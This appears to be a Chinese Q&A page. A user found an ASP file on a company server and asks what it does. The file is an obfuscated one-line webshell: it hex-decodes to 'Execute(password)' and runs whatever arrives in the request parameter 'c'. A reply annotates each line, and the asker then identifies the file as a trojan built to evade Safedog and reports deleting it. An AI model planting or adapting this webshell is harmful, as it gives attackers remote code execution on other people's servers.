请问一段ASP代码的意思,谢谢。。。。

这是一个单独的ASP文件里的代码,实现的功能是什么哈,求解。。。

<%
password=Request("c")
Execute(AACode("457865637574652870617373776F726429")):Function AACode(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("AACode=AACode&chr(&H"&c&")"):Else:Execute("AACode=AACode&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:End Function
%>

  <%
  password=Request("c") '接收上一网页发来的参数"C"
  Execute(AACode("457865637574652870617373776F726429")) '调用AACode函数
  Function AACode(byVal s) 'AACode函数开始,函数参数为S
  For i=1 To Len(s) Step 2 '循环开始i=1,3,5,7,9依次递增
  c=Mid(s,i,2) '从I的位置取S的两位数作为值赋给C
  If IsNumeric(Mid(s,i,1)) Then '判断S的I位是否数字
  Execute("AACode=AACode&chr(&H"&c&")") 'S的I位是数字就执行此行
  Else '否则
  Execute("AACode=AACode&chr(&H"&c&Mid(s,i+2,2)&")")
  i=i+2 'I的值在这里会自动加2,如果不是错误的话I的值递增已经不是13579,应该是1,5,9,13
  End If '结束判断
  Next '结束循环
  End Function 'AACode函数结束
  %>追问

谢谢, 网上搜索了下,说这段代码是过安全狗的一句话木马,这是公司的服务器上发现的,我把这个文件删除了,接收上一网页发来的参数"C" 这个上一网页可以找到是哪个网页吗。

温馨提示:答案为网友推荐,仅供参考
相似回答